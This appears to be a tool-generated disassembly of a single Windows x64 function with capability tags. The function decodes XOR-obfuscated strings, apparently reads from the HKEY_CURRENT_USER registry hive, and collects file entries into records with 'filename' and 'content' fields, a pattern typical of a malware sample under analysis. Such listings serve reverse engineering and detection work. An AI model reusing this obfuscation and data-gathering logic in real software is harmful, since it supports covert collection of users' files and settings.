Function at 0x140037ac0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x14012dc00]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov dword [rsp + 0x30], 1
movabs rax, 0x1bf0f093913b4548
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
movabs r14, 0x33593b33b3470d80
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
movabs rbx, 0x1bf0f0fef05e311b
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.1400302c0
nop
movabs rax, 0x5ea2b1a9a4187e48
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
movabs rax, 0x60055e45df265bdc
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0x6fce303cbe64a9a1
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rcx, 0x4fb2f9c91d55357a
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x300], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x308], rax
movabs rax, 0x6fce303cd305ccd5
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x310], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x318], rax
movdqa xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0x310]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x210]
call fcn.1400302c0
nop
movabs rax, 0x6f91a093913b4548
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
movabs rax, 0x33593b33b3470de8
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1f0]
call fcn.1400302c0
nop
lea r9, [rbp + 0x1f0]
lea r8, [rbp + 0x210]
mov rdx, 0xffffffff80000001
lea rcx, [rbp + 0x28]
call fcn.140080ca0
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.1400425c0
nop
lea rcx, [rbp + 0x28]
call fcn.14003fe40
xor r12d, r12d
cmp qword [rbp + 0x180], r12
jne 0x140037d4f
lea rcx, [rbp + 0x170]
call fcn.14002e900
test al, al
jne 0x140037d4f
movdqa xmm0, xmmword [0x140115010]
jmp 0x140039002
movabs rax, 0x1bf0f0fe9e384268
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1d0]
call fcn.1400302c0
nop
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xd0]
call fcn.14002e610
nop
lea rcx, [rbp + 0x90]
call fcn.14002e990
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2d0]
call fcn.1400310e0
nop
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.14002e770
nop
lea rcx, [rbp + 0x80]
call fcn.14002e990
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2d0]
call fcn.1400310e0
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e850
nop
mov rax, qword [rbp + 0x90]
cmp rax, qword [rbp + 0x80]
je 0x14003806c
nop dword [rax]
lea rdi, [rax + 0x20]
lea rdx, [rbp + 0x2e0]
mov rcx, rdi
call fcn.14002d390
nop
lea rdx, [rbp - 0x78]
mov rcx, rax
call fcn.14002d220
mov rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
mov r8d, 4
cmp qword [rax + 0x10], r8
cmovb r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140037eb4
mov rdx, qword [rax]
lea rcx, [rbp + 0xa0]
call fcn.140030300
mov eax, dword [rsp + 0x30]
bts eax, 7
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xa0]
call fcn.140042620
movzx ebx, al
and dword [rsp + 0x30], 0xffffff7f
lea rcx, [rbp + 0xa0]
call fcn.14003fe40
nop
lea rcx, [rbp - 0x78]
call fcn.14003fe40
nop
lea rcx, [rbp + 0x2e0]
call fcn.14002d8f0
test bl, bl
je 0x14003804c
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.1400797a0
nop
cmp byte [rbp + 0x130], 0
je 0x140038040
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x70]
call fcn.14003f060
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.14002d390
nop
lea rdx, [rbp + 0x300]
mov rcx, rax
call fcn.14002d220
nop
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400426f0
mov rbx, rax
lea rdx, str.filename
lea rcx, [rbp + 0x70]
call fcn.140042660
mov rcx, rax
mov rdx, rbx
call fcn.14003f000
nop
lea rcx, [rbp + 0x300]
call fcn.14003fe40
nop
lea rcx, [rsp + 0x68]
call fcn.14002d8f0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x110]
call fcn.14003fa40
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400426c0
mov rbx, rax
lea rdx, str.content
lea rcx, [rbp + 0x70]
call fcn.140042660
mov rcx, rax
mov rdx, rbx
call fcn.14003f000
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xf0]
call fcn.14003ff30
nop
mov rdx, rax
lea rcx, [0x14012e1c0]
call fcn.14003eec0
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003ede0
nop
lea rcx, [rbp + 0x70]
call fcn.14003efe0
nop
lea rcx, [rbp + 0x110]
call fcn.140031110
lea rcx, [rbp + 0x90]
call fcn.14002e660
mov rax, qword [rbp + 0x90]
cmp rax, qword [rbp + 0x80]
jne 0x140037e60
mov rsi, 0xffffffffffffffff
mov rbx, qword [rbp + 0x88]
test rbx, rbx
je 0x1400380a9
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400380a9
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400380a9
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x98]
test rbx, rbx
je 0x1400380df
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400380df
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400380df
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0xd8]
test rbx, rbx
je 0x140038114
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140038114
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140038114
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x38], rax
lea rax, str.config
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], 6
movaps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp - 0x78]
call fcn.14004c390
mov eax, dword [rsp + 0x30]
bts eax, 8
mov dword [rsp + 0x30], eax
and dword [rsp + 0x30], 0xfffffeff
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1b0]
call fcn.14002d6c0
nop
lea rcx, [rbp - 0x78]
call fcn.14002d8f0
lea rcx, [rbp + 0x150]
call fcn.140040050
nop
lea rcx, [rbp + 0x1b0]
call fcn.14002e900
test al, al
je 0x1400385f2
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x2d0]
call fcn.14002e610
nop
lea rcx, [rbp + 0x80]
call fcn.14002e990
lea rax, [rbp + 0x70]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x70]
call fcn.1400310e0
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e770
nop
lea rcx, [rbp + 0xd0]
call fcn.14002e990
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0xf0]
call fcn.1400310e0
nop
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14002e850
nop
mov rax, qword [rbp + 0x80]
cmp rax, qword [rbp + 0xd0]
je 0x140038551
movabs r15, 0x1b99f099f0313177
movabs r13, 0x333c3b40b3320dee
nop dword [rax]
lea rdi, [rax + 0x20]
mov rdx, rdi
lea rcx, [rbp + 0x90]
call fcn.14002e9a0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x58], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rsp + 0x58]
test edx, edx
je 0x140038296
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x1400391a4
cmp ecx, 3
je 0x140038531
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.1400797a0
nop
cmp byte [rbp + 0x130], 0
je 0x140038525
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x70]
call fcn.14003f060
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x18]
mov rcx, rdi
call fcn.14002d390
nop
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.14002d220
nop
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400426f0
mov rbx, rax
lea rdx, str.filename
lea rcx, [rbp + 0x70]
call fcn.140042660
mov rcx, rax
mov rdx, rbx
call fcn.14003f000
nop
lea rcx, [rbp + 8]
call fcn.14003fe40
nop
lea rcx, [rbp - 0x18]
call fcn.14002d8f0
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x110]
call fcn.14003fa40
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.1400426c0
mov rbx, rax
lea rdx, str.content
lea rcx, [rbp + 0x70]
call fcn.140042660
mov rcx, rax
mov rdx, rbx
call fcn.14003f000
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2e0]
call fcn.14003ff30
nop
mov rdx, rax
lea rcx, [0x14012e1c0]
call fcn.14003eec0
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003ede0
mov qword [rsp + 0x20], r15
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0x6fb83012d376cca7
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rax, 0x4fb2f9c91d33351e
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
movabs rax, 0x1bf0f0fef05e311b
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2e0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x6fce303cd305ccd5
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x4fb2f9c91d55357a
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2f8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0x2f0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.14002d390
nop
lea rdx, [rbp - 0x38]
mov rcx, rax
call fcn.14002d350
nop
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.1400435d0
movzx ebx, al
lea rcx, [rbp - 0x38]
call fcn.14003fc20
nop
lea rcx, [rbp + 0x48]
call fcn.14002d8f0
test bl, bl
je 0x14003851b
lea rcx, [rbp + 0x110]
call fcn.14003fa40
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140043620
nop
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.14003fea0
nop
lea rcx, [rbp - 0x58]
call fcn.14003fe40
nop
lea rcx, [rbp + 0x70]
call fcn.14003efe0
nop
lea rcx, [rbp + 0x110]
call fcn.1400311b0
lea rcx, [rbp + 0x80]
call fcn.14002e660
mov rax, qword [rbp + 0x80]
cmp rax, qword [rbp + 0xd0]
jne 0x140038260
mov rbx, qword [rbp + 0xd8]
test rbx, rbx
je 0x140038587
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140038587
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140038587
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x88]
test rbx, rbx
je 0x1400385bd
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400385bd
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400385bd
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x2d8]
test rbx, rbx
je 0x1400385f2
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400385f2
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400385f2
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
cmp qword [rbp + 0x160], 0
je 0x140038ef2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
mov word [rsp + 0x34], 1
mov byte [rsp + 0x36], al
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
add r8, rdx
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea r9, [rsp + 0x34]
lea rcx, [rbp + 0x230]
call fcn.1400437d0
nop
lea rcx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rcx, qword [rbp + 0x230]
mov r8, qword [rbp + 0x240]
cmp r8, 5
jne 0x140038ed8
lea rdx, str.users
call fcn.1400bfb00
test eax, eax
jne 0x140038ed8
mov rdi, qword [rbp + 0x298]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x140038a06
movabs r13, 0x100000001b3
movabs rcx, 0x33593b33b32260e1
movabs rax, 0x55849e8b9f3d525a
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x80], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x88], rax
movabs rax, 0x1bf0f0fef05e311b
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
lea rax, [rbp + 0x80]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140038770
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xd0]
call fcn.140030300
nop
mov r14, qword [rbx + 0x30]
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
movabs r9, 0xcbf29ce484222325
mov rcx, r12
mov r8, qword [rbp + 0xe0]
test r8, r8
je 0x1400387d5
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r13
inc rcx
cmp rcx, r8
jb 0x1400387c2
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x300]
lea rcx, [r14 + 0x20]
call fcn.140049150
cmp qword [rax + 8], 0
je 0x140038996
lea r8, [rbp + 0xd0]
lea rdx, [rsp + 0x68]
lea rcx, [r14 + 0x20]
call fcn.140044000
mov rdx, qword [rax]
add rdx, 0x30
lea rcx, [rbp + 0x110]
call fcn.14003ff30
nop
lea rdx, [rbx + 0x10]
lea rcx, [rbp + 0x130]
call fcn.14003ff30
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, qword [rbp + 0x100]
je 0x1400388ce
mov qword [rsp + 0x48], rdx
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x110]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x120]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], send
mov byte [rbp + 0x110], 0
xorps xmm0, xmm0
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], r12
mov qword [rdx + 0x38], r12
movups xmm0, xmmword [rbp + 0x130]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x140]
movups xmmword [rdx + 0x30], xmm1
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], send
mov byte [rbp + 0x130], 0
add qword [rbp + 0xf8], 0x40
jmp 0x1400388e2
lea r8, [rbp + 0x110]
lea rcx, [rbp + 0xf0]
call fcn.1400494f0
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140038923
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003891e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391ba
call fcn.1400ac9a0
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], send
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x14003897d
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038978
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391c0
call fcn.1400ac9a0
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], send
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1400389d7
inc rdx
mov rcx, qword [rbp + 0xd0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400389d2
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391c6
call fcn.1400ac9a0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], send
mov byte [rbp + 0xd0], 0
mov rbx, qword [rbx]
movabs r14, 0x33593b33b3470d80
cmp rbx, rdi
jne 0x1400386d3
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0xa0]
call fcn.1400362b0
nop
cmp qword [rbp + 0xb0], 0
je 0x140038d6f
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x300], xmm0
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x70]
call fcn.140040be0
or dword [rsp + 0x30], 0x10
lea rax, [rbp + 0x90]
mov qword [rsp + 0x48], rax
movabs rax, 0x6fde839095355e4f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x80], rax
movabs rax, 0x33593b33b34779f8
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x88], rax
movabs rax, 0x1bf0f0fef05e311b
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xor eax, eax
mov qword [rbp + 0x98], rax
movzx edx, byte [rbp + 0x90]
lea rcx, [rbp + 0x98]
call fcn.140041100
mov byte [rbp + 0x90], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov ecx, 0x20
call fcn.1400acac8
mov rbx, rax
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp + 0x80]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140038b43
mov r8, rsi
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.140030300
mov qword [rbp + 0x2d8], r12
mov qword [rbp + 0x98], rbx
lea rax, [rbp + 0x90]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8d, 8
lea rdx, str.filename
lea rcx, [rbp + 0x2e0]
call fcn.140030300
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x70]
call fcn.14003eec0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x90]
mov byte [rax], cl
mov byte [rbp + 0x90], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x98]
mov qword [rax + 8], rdx
mov qword [rbp + 0x98], rcx
movzx edx, byte [rbp + 0x90]
lea rcx, [rbp + 0x98]
call fcn.140041100
lea rax, [rbp + 0x300]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x68]
call fcn.140042420
mov edi, dword [rsp + 0x30]
or edi, 0x20
mov dword [rsp + 0x30], edi
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x300]
call fcn.1400426f0
mov rbx, rax
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8d, 7
lea rdx, str.content
lea rcx, [rbp + 0x2e0]
call fcn.140030300
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x70]
call fcn.14003eec0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbx]
mov byte [rax], cl
mov byte [rbx], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbx + 8]
mov qword [rax + 8], rdx
mov qword [rbx + 8], rcx
movzx edx, byte [rbx]
lea rcx, [rbx + 8]
call fcn.140041100
and edi, 0xffffffdf
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140038d12
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038d0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391b4
call fcn.1400ac9a0
movdqa xmm0, xmmword [0x140115010]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x58]
call fcn.14003ff30
nop
mov rdx, rax
lea rcx, [0x14012e1c0]
call fcn.14003eec0
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003ede0
and edi, 0xffffffef
mov dword [rsp + 0x30], edi
movzx edx, byte [rbp + 0x70]
lea rcx, [rbp + 0x78]
call fcn.140041100
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140038db0
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038dab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391cc
call fcn.1400ac9a0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], send
mov byte [rbp + 0xa0], 0
lea rax, [rbp + 0x290]
mov qword [rsp + 0x58], rax
lea rcx, [rbp + 0x290]
call fcn.140037a40
nop
lea rax, [rbp + 0x250]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x250]
call fcn.1400379a0
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x140038e3c
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038e37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391d2
call fcn.1400ac9a0
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], send
mov byte [rbp + 0x230], 0
mov rbx, qword [rbp + 0xf0]
test rbx, rbx
je 0x140038ef2
mov rdi, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x140038e89
mov rcx, rbx
call fcn.140035b50
add rbx, 0x40
cmp rbx, rdi
jne 0x140038e71
mov rbx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0x100]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140038ebc
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391d8
mov rcx, rbx
call fcn.1400ac9a0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
jmp 0x140038ef2
lea rcx, [rbp + 0x230]
call fcn.1400378f0
nop
lea rcx, [rbp + 0xf0]
call fcn.14003e720
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140038f33
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038f2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391de
